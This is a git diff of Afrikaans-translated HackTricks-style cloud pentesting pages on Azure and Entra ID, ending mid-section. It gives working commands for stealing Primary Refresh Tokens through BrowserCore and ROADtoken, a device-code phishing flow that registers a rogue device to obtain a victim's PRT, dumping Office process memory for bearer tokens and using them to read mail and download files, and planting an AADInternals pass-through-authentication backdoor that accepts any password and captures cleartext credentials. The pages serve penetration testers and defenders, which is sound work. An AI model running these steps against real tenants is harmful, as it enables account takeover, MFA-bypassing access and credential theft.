-Ten spyte van die genoemde beskermings, kan 'n aanvaller wat reeds 'n toestel gekompromitteer het (as 'n plaaslike gebruiker of selfs SYSTEM) steeds **die PRT misbruik om vars toegangstokens te verkry** deur Windows se eie token broker APIs en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te **onttrek**, vra die aanvaller eintlik **"Windows om die PRT namens hulle te gebruik"**. In die afdelings hieronder, skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings in werking is. Al hierdie tegnieke neem post-exploit toegang op die teiken masjien aan, en **fokus op die misbruik van ingeboude outentikasie vloei** (geen onopgeloste kwesbaarhede benodig nie).
+Ten spyte van die genoemde beskermings, kan 'n aanvaller wat reeds 'n toestel gekompromitteer het (as 'n plaaslike gebruiker of selfs SYSTEM) steeds **die PRT misbruik om vars toegangstokens te verkry** deur Windows se eie token broker APIs en sekuriteitskomponente te benut. In plaas daarvan om die ruwe PRT of sleutel te **onttrek**, vra die aanvaller eintlik **"aan" Windows om die PRT namens hulle te gebruik**. In die afdelings hieronder skets ons tans geldige tegnieke vir die misbruik van PRTs en hul sessiesleutels op opdatering Windows-toestelle waar TPM-beskermings van toepassing is. Al hierdie tegnieke neem aan dat daar post-exploit toegang op die teikenmasjien is, en **fokus op die misbruik van ingeboude verifikasievloei** (geen onopgeloste kwesbaarhede benodig nie).
 
 ### Windows Token Broker Argitektuur en SSO Vloei
 
-Moderne Windows hanteer wolk outentikasie via 'n ingeboude **token broker** stapel, wat komponente in beide gebruikersmodus en LSASS (Local Security Authority) insluit. Sleutelstukke van hierdie argitektuur sluit in:
+Moderne Windows hanteer wolkverifikasie via 'n ingeboude **token broker** stapel, wat komponente in beide gebruikersmodus en LSASS (Local Security Authority) insluit. Sleutelstukke van hierdie argitektuur sluit in:
 
--   **LSASS CloudAP Plugin:** Wanneer 'n toestel Azure AD-verbonden is, laai LSASS wolk outentikasiepakkette (bv. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) wat PRTs en token versoeke bestuur. LSASS (wat as SYSTEM loop) orkestreer PRT berging, vernuwing, en gebruik, en kommunikeer met die TPM om kriptografiese operasies uit te voer (soos om 'n PRT-uitdaging met die sessiesleutel te teken).
+-   **LSASS CloudAP Plugin:** Wanneer 'n toestel Azure AD-verbonden is, laai LSASS wolkverifikasie-pakkette (bv. `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) wat PRTs en token versoeke bestuur. LSASS (wat as SYSTEM loop) orkestreer PRT berging, vernuwing, en gebruik, en kommunikeer met die TPM om kriptografiese operasies uit te voer (soos om 'n PRT-uitdaging met die sessiesleutel te teken).
 
--   **Web Account Manager (WAM):** Die Windows Web Account Manager is 'n gebruikersmodus raamwerk (toeganklik via COM/WinRT APIs) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as 'n broker tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft's MSAL biblioteek en sekere OS komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.
+-   **Web Account Manager (WAM):** Die Windows Web Account Manager is 'n gebruikersmodus raamwerk (toeganklik via COM/WinRT APIs) wat toelaat dat toepassings of blaaiers tokens vir wolk rekeninge versoek sonder om vir akrediteer te vra. WAM dien as 'n broker tussen gebruikers toepassings en die veilige LSASS/TPM-ondersteunde PRT. Byvoorbeeld, Microsoft's MSAL biblioteek en sekere OS-komponente gebruik WAM om stilweg tokens te verkry met die ingelogde gebruiker se PRT.
 
--   **BrowserCore.exe en Token Broker COM interfaces:** Vir blaaiers SSO, sluit Windows 'n komponent genaamd **BrowserCore.exe** in (geleë onder *Windows Security\BrowserCore*). Dit is 'n inheemse boodskapgasheer wat deur blaaiers (Edge, Chrome via 'n uitbreiding, ens.) gebruik word om 'n PRT-afgeleide SSO token vir Azure AD aanmelding te verkry. Onder die oppervlak, benut BrowserCore 'n COM objek wat deur `MicrosoftAccountTokenProvider.dll` verskaf word om 'n PRT-gebaseerde koekie/token te verkry. In wese is hierdie COM-koppelvlak 'n eerste-party "token broker" API wat enige proses wat as die gebruiker loop kan aanroep om 'n SSO token te verkry (gegewe die gebruiker 'n geldige PRT in LSASS het).
+-   **BrowserCore.exe en Token Broker COM interfaces:** Vir blaaiers SSO, sluit Windows 'n komponent genaamd **BrowserCore.exe** in (geleë onder *Windows Security\BrowserCore*). Dit is 'n inheemse boodskapgasheer wat deur blaaiers (Edge, Chrome via 'n uitbreiding, ens.) gebruik word om 'n PRT-afgeleide SSO-token vir Azure AD aanmelding te verkry. Onder die oppervlak benut BrowserCore 'n COM objek wat deur `MicrosoftAccountTokenProvider.dll` verskaf word om 'n PRT-gebaseerde koekie/token te verkry. In wese is hierdie COM-koppelvlak 'n eerste-party "token broker" API wat enige proses wat as die gebruiker loop kan aanroep om 'n SSO-token te verkry (aangegee dat die gebruiker 'n geldige PRT in LSASS het).
 
-Wanneer 'n Azure AD-verbonden gebruiker probeer om toegang tot 'n hulpbron te verkry (sê, die Azure Portal), is die vloei tipies: 'n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om 'n **SSO token** te produseer -- dikwels 'n **PRT koekie** genoem -- wat dan aan die toepassing of blaaiers teruggegee word. Die PRT koekie is 'n spesiale JWT wat die versleutelde PRT en 'n nonce bevat, onderteken met 'n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in 'n `x-ms-RefreshTokenCredential` kop) om te bewys dat die toestel en gebruiker 'n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry word, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.
+Wanneer 'n Azure AD-verbonden gebruiker probeer om toegang tot 'n hulpbron te verkry (byvoorbeeld, die Azure Portal), is die vloei tipies: 'n toepassing roep WAM of BrowserCore se COM-koppelvlak aan, wat op sy beurt met LSASS kommunikeer. LSASS gebruik die PRT en sessiesleutel (beveilig deur TPM) om 'n **SSO-token** te produseer -- dikwels 'n **PRT koekie** genoem -- wat dan aan die toepassing of blaier teruggegee word. Die PRT koekie is 'n spesiale JWT wat die versleutelde PRT en 'n nonce bevat, onderteken met 'n sleutel wat afgelei is van die PRT se sessiesleutel. Hierdie koekie word aan Azure AD gestuur (in 'n `x-ms-RefreshTokenCredential` kop) om te bewys dat die toestel en gebruiker 'n geldige PRT het, wat Azure AD toelaat om standaard OAuth verfris- en toegangstokens vir verskeie toepassings uit te reik. Opmerklik is dat enige Multi-Factor Authentication (MFA) eis wat in die PRT teenwoordig is, in tokens wat via hierdie SSO-proses verkry is, sal wees, wat beteken dat PRT-afgeleide tokens MFA-beskermde hulpbronne kan bevredig.
 
 ### Gebruiker-Vlak Token Diefstal (Nie-Admin)
 
@@ -149,25 +178,58 @@ Wanneer 'n aanvaller **gebruikersvlak kode-uitvoering** het, stop die TPM-besker
 
 #### **BrowserCore (MicrosoftAccountTokenProvider COM)**
 
-BrowserCore stel 'n COM klas (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) beskikbaar om PRT koekies te verkry. Hierdie COM API word wettiglik deur blaaiers (Chrome/Edge uitbreidings) vir Azure AD SSO aangeroep.
+BrowserCore stel 'n COM-klas (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) beskikbaar om PRT koekies te verkry. Hierdie COM API word wettiglik deur blaaiers (Chrome/Edge uitbreidings) vir Azure AD SSO aangeroep.
 
 -   **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)**
 ```bash
 RequestAADRefreshToken.exe --uri https://login.microsoftonline.com
 ```
-*(Gee 'n Azure AD verfrissingstoken of PRT koekie terug)*
+*(Gee 'n Azure AD verfris token of PRT koekie terug)*
 
 - **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)**
+
+ROADtoken sal **`BrowserCore.exe`** vanaf die regte gids uitvoer en dit gebruik om 'n **PRT koekie te verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te autentiseer en 'n **volhoubare verfris token te verkry**.
+
+Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\
+Jy kan dit kry met:
 ```bash
-ROADtoken.exe --nonce <nonce-value>
-roadrecon auth --prt-cookie <cookie>
+$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
+$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"
+
+$Params = @{
+"URI"     = $URL
+"Method"  = "POST"
+}
+$Body = @{
+"grant_type" = "srv_challenge"
+}
+$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
+$Result.Nonce
+AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA
 ```
-*(Genereer nonce, roep BrowserCore aan om PRT-koekie te kry, en verlos dit dan via ROADtools)*
-
+Of deur [**roadrecon**](https://github.com/dirkjanm/ROADtools):
+```bash
+roadrecon auth prt-init
+```
+Dan kan jy [**roadtoken**](https://github.com/dirkjanm/ROADtoken) gebruik om 'n nuwe PRT te verkry (voer die hulpmiddel uit vanaf 'n proses van die gebruiker om aan te val):
+```bash
+.\ROADtoken.exe <nonce>
+```
+As 'n eenlyn:
+```bash
+Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}
+```
+Dan kan jy die **gegenereerde koekie** gebruik om **tokens** te **genereer** om in te **log** met Azure AD **Graph** of Microsoft Graph:
+```bash
+# Generate
+roadrecon auth --prt-cookie <prt_cookie>
 
+# Connect
+Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>
+```
 ### **Web Account Manager (WAM) APIs**
 
-Aanvallers gebruik wettige Microsoft-authentikasiebiblioteke (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) vanaf gebruikersvlakprosesse om stilletjies tokens te verkry wat TPM-beskermde PRT benut.
+Aanvallers gebruik wettige Microsoft-authentikasiebiblioteke (**MSAL**, **WAM APIs**, **WebAuthenticationCoreManager**) vanaf gebruikersvlakprosesse om stilletjies tokens te verkry deur TPM-beskermde PRT te benut.
 
 
 -   **[aadprt](https://posts.specterops.io/)**
@@ -196,7 +258,7 @@ As die aanvaller op **Administrateur of SISTEEM** opgradeer, kan hulle enige Azu
 
 ### **Gebruiker Nabootsing en Token Verkryging**
 
-Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM vir token-generasie aan te roep.
+Admin/SISTEEM kan lopende sessies van ander gebruikers naboots om BrowserCore of WAM aan te roep vir token-generasie.
 
 Vir hierdie, naboots net die gebruikersproses (bv. `explorer.exe`) en roep die token broker APIs aan met enige tegniek wat in die vorige afdeling kommentaar gelewer is.
 
@@ -210,7 +272,7 @@ Misbruik die **OAuth Device Code** vloei met die **Microsoft Authentication Brok
 
 ### **Waarom dit werk**
 
--   **PRT** is **toestel-gebound** en stel **SSO vir (byna) enige Entra-beskermde app** in staat.
+-   **PRT** is **toestel-gebound** en stel **SSO vir (byna) enige Entra-beskermde toepassing** in staat.
 -   Die **Broker kliënt + DRS** kombinasie laat 'n gephishde **verfrissingstoken** toe om **verruil te word vir 'n PRT** sodra 'n toestel geregistreer is.
 -   **MFA word nie omseil nie**: die **gebruiker voer MFA** uit tydens die phishing; **MFA aansprake versprei** in die resulterende PRT, wat die aanvaller toelaat om toegang tot toepassings te verkry **sonder verdere vrae**.
 
@@ -218,27 +280,27 @@ Misbruik die **OAuth Device Code** vloei met die **Microsoft Authentication Brok
 
 -   **Gebruikersverifikasie via Toestelkode** met die **Broker kliënt ID** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) en **DRS skope/hulpbron** (bv. **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** of **`https://enrollment.manage.microsoft.com/`**).
 -   **Gebruiker kan toestelle registreer** in Entra ID (**standaard: toegelaat**, maar kan beperk of kwota-beperk wees).
--   **Geen blokkerende CA-beleide** wat **Toestelkode** deaktiveer of **kompeterende/hybride toestelle** vereis vir teiken toepassings nie (daardie sal nie PRT-uitreiking stop nie, maar **sal** die **gebruik** daarvan om toegang tot beskermde toepassings te verkry blokkeer).
+-   **Geen blokkerende CA-beleide** wat **Toestelkode** deaktiveer of **kompeterende/hibridetoestelle** vereis vir teikentoepassings nie (daardie sal nie PRT-uitreiking stop nie, maar **sal** die **gebruik** daarvan om toegang tot beskermde toepassings te verkry blokkeer).
 -   **Aanvaller-beheerde gasheer** om die vloei te laat loop en die tokens/toestelsleutels te hou.
 
 **Aanval Vloei**:
 
-1.  **Begin Toestelkode verifikasie** met **client_id = Broker** en **DRS skoop/hulpbron**; wys die **gebruiker kode** aan die slagoffer.
+1.  **Begin Toestelkode-auth** met **client_id = Broker** en **DRS skoop/hulpbron**; wys die **gebruiker kode** aan die slagoffer.
 ```bash
 curl -s -X POST \
 "https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \
 -d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \
 -d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile"
 ```
-2.  **Slachtoffer teken in op Microsoft se webwerf** (legitieme UI) en voltooi **MFA** → **aanvaller ontvang 'n DRS‑geskepte verfrissingstoken** vir die Broker-kliënt.
+2.  **Slachtoffer teken in op Microsoft se webwerf** (legitieme UI) en voltooi **MFA** → **aanvaller ontvang 'n DRS‑geskepte hernuwingstoken** vir die Broker-kliënt.
 
-3.  **Registreer 'n rogue toestel** in die tenant met behulp van daardie verfrissingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).
+3.  **Registreer 'n rogue toestel** in die tenant met behulp van daardie hernuwingstoken (toestelobjek word geskep en aan die slachtoffer gekoppel).
 
-4.  **Opgradeer na 'n PRT** deur die **verfrissingstoken + toestelidentiteit/sluitings** te ruil → **PRT** gebonde aan die aanvaller se toestel.
+4.  **Opgradeer na 'n PRT** deur die **hernuwingstoken + toestelidentiteit/sluitings** te ruil → **PRT** gebonde aan die aanvaller se toestel.
 
 5.  **(Opsionele volharding)**: as MFA vars was, **registreer 'n Windows Hello for Business-sleutel** om **langtermyn, wagwoordlose toegang** te handhaaf.
 
-6.  **Misbruik**: verlos die **PRT** (of maak 'n **PRT-kookie**) om **toegangstokens** vir **Exchange/Graph/SharePoint/Teams/pasgemaakte toepassings** as die gebruiker te verkry.
+6.  **Misbruik**: verlos die **PRT** (of maak 'n **PRT-koekie**) om **toegangstokens** vir **Exchange/Graph/SharePoint/Teams/pasgemaakte toepassings** as die gebruiker te verkry.
 
 
 ### Publieke Gereedskap en Bewys-van-Konsepte
@@ -251,7 +313,7 @@ curl -s -X POST \
 
 - [Dirkjan se blogpos oor PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/)
 - [Dirkjan se pos oor phishing PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/)
-- [Dirkjan se pos oor die misbruik van PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
+- [Dirkjan se pos oor misbruik van PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/)
 - SpecterOps pos oor [Aansoek om Azure AD Aansoek Tokens](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30)
 - [AADInternals pos oor PRTs](https://aadinternals.com/post/prt/)
 - [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows)

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md

@@ -1,34 +0,0 @@
-# Az - Processes Memory Access Token
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## **Basiese Inligting**
-
-Soos verduidelik in [**hierdie video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), sommige Microsoft sagteware wat met die wolk gesinkroniseer is (Excel, Teams...) mag **toegangstokens in duidelike teks in geheue stoor**. So net **dumping** die **geheue** van die proses en **grepping vir JWT tokens** mag jou toegang gee tot verskeie hulpbronne van die slagoffer in die wolk terwyl MFA omseil word.
-
-Stappe:
-
-1. Dump die excel prosesse wat gesinkroniseer is met die EntraID gebruiker met jou gunsteling hulpmiddel.
-2. Voer in: `string excel.dmp | grep 'eyJ0'` en vind verskeie tokens in die uitvoer
-3. Vind die tokens wat jou die meeste interesseer en voer hulpmiddels daaroor uit:
-```bash
-# Check the identity of the token
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq
-
-# Check the email (you need a token authorized in login.microsoftonline.com)
-curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq
-
-# Download a file from Teams
-## You need a token that can access graph.microsoft.com
-## Then, find the <site_id> inside the memory and call
-curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq
-
-## Then, list one drive
-curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq
-
-## Finally, download a file from that drive:
-curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
-```
-**Let wel dat hierdie tipe toegangstokens ook in ander prosesse gevind kan word.**
-
-{{#include ../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pta-pass-through-authentication.md

@@ -2,28 +2,28 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basiese Inligting
+## Basic Information
 
 [From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-pta) Microsoft Entra pass-through authentication laat jou gebruikers toe om **in te teken op beide plaaslike en wolk-gebaseerde toepassings met dieselfde wagwoorde**. Hierdie funksie bied jou gebruikers 'n beter ervaring - een minder wagwoord om te onthou, en verminder IT-hulplijn koste omdat jou gebruikers minder geneig is om te vergeet hoe om in te teken. Wanneer gebruikers in teken met Microsoft Entra ID, valideer hierdie funksie gebruikers se wagwoorde direk teen jou plaaslike Active Directory.
 
-In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS.
+In PTA **identiteite** is **gesinchroniseer** maar **wagwoorde is nie** soos in PHS nie.
 
 Die verifikasie word in die plaaslike AD gevalideer en die kommunikasie met die wolk word gedoen deur 'n **verifikasie-agent** wat op 'n **plaaslike bediener** loop (dit hoef nie op die plaaslike DC te wees nie).
 
-### Verifikasievloei
+### Authentication flow
 
 <figure><img src="../../../../images/image (92).png" alt=""><figcaption></figcaption></figure>
 
-1. Om te **log in** word die gebruiker herlei na **Azure AD**, waar hy die **gebruikersnaam** en **wagwoord** stuur
-2. Die **bewyse** word **versleuteld** en in 'n **ry** in Azure AD gestel
-3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **ontsleutel** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
-4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog van die gebruiker voltooi**.
+1. Om te **log in** word die gebruiker na **Azure AD** herlei, waar hy die **gebruikersnaam** en **wagwoord** stuur.
+2. Die **bewyse** word **geënkripteer** en in 'n **ry** in Azure AD gestel.
+3. Die **plaaslike verifikasie-agent** versamel die **bewyse** uit die ry en **dekripteer** dit. Hierdie agent word **"Pass-through authentication agent"** of **PTA agent** genoem.
+4. Die **agent** **valideer** die bewys teen die **plaaslike AD** en stuur die **antwoord** **terug** na Azure AD wat, indien die antwoord positief is, die **inlog** van die gebruiker **voltooi**.
 
 > [!WARNING]
 > As 'n aanvaller die **PTA** **kompromitteer**, kan hy die alle **bewyse** uit die ry **sien** (in **duidelike teks**).\
 > Hy kan ook **enige bewys** na die AzureAD **valideer** (soortgelyke aanval op Skeleton key).
 
-### Enumerasie
+### Enumeration
 
 From Entra ID:
 ```bash
@@ -58,7 +58,7 @@ Get-Service -Name "AzureADConnectAuthenticationAgent"
 ```
 ## Pivoting
 
-As jy **admin** toegang het tot die **Azure AD Connect-server** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **achterdeur** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, sal **valideer** (sodat al die wagwoorde geldig sal wees vir autentisering):
+As jy **admin** toegang het tot die **Azure AD Connect server** met die **PTA** **agent** wat loop, kan jy die **AADInternals** module gebruik om 'n **backdoor** te **invoeg** wat **AL die wagwoorde** wat ingevoer word, sal **valideer** (sodat al die wagwoorde geldig sal wees vir autentisering):
 ```bash
 Install-Module AADInternals -RequiredVersion 0.9.3
 Import-Module AADInternals
@@ -80,7 +80,7 @@ Hierdie backdoor sal:
 > Wanneer die AzureADConnectAuthenticationAgent diens herbegin word, word PTASpy “ontlaai” en moet dit weer geïnstalleer word.
 
 > [!CAUTION]
-> Nadat **GA bevoegdhede** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **met enige wagwoord te autentiseer** en ook, **die wagwoorde in duidelike teks te kry.**
+> Nadat **GA-regte** op die wolk verkry is, is dit moontlik om **nuwe PTA-agent** te **registreer** en kan die **vorige** stappe **herhaal** word om **te autentiseer met enige wagwoord** en ook, **die wagwoorde in duidelike teks te verkry.**
 
 ### Seamless SSO
 
@@ -90,7 +90,7 @@ Dit is moontlik om Seamless SSO met PTA te gebruik, wat kwesbaar is vir ander mi
 seamless-sso.md
 {{#endref}}
 
-## References
+## Verwysings
 
 - [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta)
 - [https://aadinternals.com/post/on-prem_admin/#pass-through-authentication](https://aadinternals.com/post/on-prem_admin/#pass-through-authentication)

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md

@@ -1,58 +0,0 @@
-# Az AD Connect - Hybrid Identity
-
-{{#include ../../../../banners/hacktricks-training.md}}
-
-## Basiese Inligting
-
-Integrasie tussen **On-premises Active Directory (AD)** en **Azure AD** word gefasiliteer deur **Azure AD Connect**, wat verskeie metodes bied wat **Single Sign-on (SSO)** ondersteun. Elke metode, terwyl nuttig, bied potensiële sekuriteitskwesies wat benut kan word om cloud- of on-premises omgewings te kompromitteer:
-
-- **Pass-Through Authentication (PTA)**:
-- Moglike kompromie van die agent op die on-prem AD, wat validasie van gebruikerswagwoorde vir Azure verbindings (on-prem na Cloud) toelaat.
-- Feasibiliteit om 'n nuwe agent te registreer om authentikasies in 'n nuwe ligging (Cloud na on-prem) te valideer.
-
-{{#ref}}
-pta-pass-through-authentication.md
-{{#endref}}
-
-- **Password Hash Sync (PHS)**:
-- Potensiële onttrekking van duidelike teks wagwoorde van bevoorregte gebruikers uit die AD, insluitend geloofsbriewe van 'n hoogs bevoorregte, outomaties gegenereerde AzureAD gebruiker.
-
-{{#ref}}
-phs-password-hash-sync.md
-{{#endref}}
-
-- **Federation**:
-- Diefstal van die private sleutel wat gebruik word vir SAML ondertekening, wat impersonasie van on-prem en cloud identiteite moontlik maak.
-
-{{#ref}}
-federation.md
-{{#endref}}
-
-- **Seamless SSO:**
-- Diefstal van die `AZUREADSSOACC` gebruiker se wagwoord, wat gebruik word vir die ondertekening van Kerberos silwer kaartjies, wat impersonasie van enige cloud gebruiker toelaat.
-
-{{#ref}}
-seamless-sso.md
-{{#endref}}
-
-- **Cloud Kerberos Trust**:
-- Moglikheid om van Global Admin na on-prem Domain Admin te eskaleer deur AzureAD gebruiker gebruikersname en SIDs te manipuleer en TGT's van AzureAD aan te vra.
-
-{{#ref}}
-az-cloud-kerberos-trust.md
-{{#endref}}
-
-- **Default Applications**:
-- Kompromitering van 'n Application Administrator rekening of die on-premise Sync Account laat die aanpassing van gidsinstellings, groep lidmaatskappe, gebruikersrekeninge, SharePoint webwerwe, en OneDrive lêers toe.
-
-{{#ref}}
-az-default-applications.md
-{{#endref}}
-
-Vir elke integrasiemetode word gebruikerssynchronisasie uitgevoer, en 'n `MSOL_<installationidentifier>` rekening word in die on-prem AD geskep. Opmerklik is dat beide **PHS** en **PTA** metodes **Seamless SSO** fasiliteer, wat outomatiese aanmelding vir Azure AD rekenaars wat by die on-prem domein aangesluit is, moontlik maak.
-
-Om die installasie van **Azure AD Connect** te verifieer, kan die volgende PowerShell-opdrag, wat die **AzureADConnectHealthSync** module gebruik (standaard geïnstalleer met Azure AD Connect), gebruik word:
-```bash
-Get-ADSyncConnector
-```
-{{#include ../../../../banners/hacktricks-training.md}}

src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md

@@ -1,250 +0,0 @@
-# Az - Pass the PRT
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Wat is 'n PRT
-
-{{#ref}}
-az-primary-refresh-token-prt.md
-{{#endref}}
-
-### Kontroleer of jy 'n PRT het
-```
-Dsregcmd.exe /status
-```
-In die SSO-toestand afdeling, moet jy die **`AzureAdPrt`** op **JA** sien.
-
-<figure><img src="../../../images/image (140).png" alt=""><figcaption></figcaption></figure>
-
-In dieselfde uitvoer kan jy ook sien of die **toestel aan Azure** aangesluit is (in die veld `AzureAdJoined`):
-
-<figure><img src="../../../images/image (135).png" alt=""><figcaption></figcaption></figure>
-
-## PRT-koekie
-
-Die PRT-koekie word eintlik **`x-ms-RefreshTokenCredential`** genoem en dit is 'n JSON Web Token (JWT). 'n JWT bevat **3 dele**, die **kop**, **payload** en **handtekening**, geskei deur 'n `.` en alles is url-veilige base64-gecodeer. 'n Tipiese PRT-koekie bevat die volgende kop en liggaam:
-```json
-{
-"alg": "HS256",
-"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
-}
-{
-"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
-"is_primary": "true",
-"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
-}
-```
-Die werklike **Primary Refresh Token (PRT)** is ingekapsuleer binne die **`refresh_token`**, wat geënkripteer is deur 'n sleutel onder die beheer van Azure AD, wat sy inhoud ondoorgrondelik en onontcijferbaar vir ons maak. Die veld **`is_primary`** dui die inkapseling van die primêre verfrissingsleutel binne hierdie token aan. Om te verseker dat die koekie gebind bly aan die spesifieke aanmeldsessie waarvoor dit bedoel was, word die `request_nonce` van die `logon.microsoftonline.com` bladsy oorgedra.
-
-### PRT Koekie vloei met behulp van TPM
-
-Die **LSASS** proses sal die **KDF konteks** na die TPM stuur, en die TPM sal die **sessiesleutel** (versamel toe die toestel in AzureAD geregistreer is en in die TPM gestoor is) en die vorige konteks gebruik om 'n **sleutel** te **deriveer**, en hierdie **afgeleide sleutel** word gebruik om die **PRT koekie (JWT)** te **onderteken**.
-
-Die **KDF konteks is** 'n nonce van AzureAD en die PRT wat 'n **JWT** gemeng met 'n **konteks** (willekeurige bytes) skep.
-
-Daarom, selfs al kan die PRT nie onttrek word nie omdat dit binne die TPM geleë is, is dit moontlik om LSASS te misbruik om **afgeleide sleutels van nuwe kontekste aan te vra en die gegenereerde sleutels te gebruik om Koekies te onderteken**.
-
-<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
-
-## PRT Misbruik Scenario's
-
-As 'n **gewone gebruiker** is dit moontlik om **PRT gebruik aan te vra** deur LSASS vir SSO data te vra.\
-Dit kan gedoen word soos **natuurlike toepassings** wat tokens van **Web Account Manager** (token broker) aan vra. WAM stuur die versoek na **LSASS**, wat tokens vra met 'n ondertekende PRT-assertie. Of dit kan gedoen word met **blaaier-gebaseerde (web) vloei** waar 'n **PRT koekie** as **kop** gebruik word om versoeke na Azure AS aanmeldbladsye te verifieer.
-
-As **SISTEEM** kan jy die **PRT steel as dit nie deur TPM beskerm word nie** of **interaksie hê met PRT sleutels in LSASS** met behulp van crypto APIs.
-
-## Pass-the-PRT Aanval Voorbeelde
-
-### Aanval - ROADtoken
-
-Vir meer inligting oor hierdie manier [**kyk hierdie pos**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/). ROADtoken sal **`BrowserCore.exe`** van die regte gids uitvoer en dit gebruik om 'n **PRT koekie** te **verkry**. Hierdie koekie kan dan met ROADtools gebruik word om te verifieer en 'n **volhoubare verfrissingsleutel** te **verkry**.
-
-Om 'n geldige PRT koekie te genereer, is die eerste ding wat jy nodig het 'n nonce.\
-Jy kan dit kry met:
-```bash
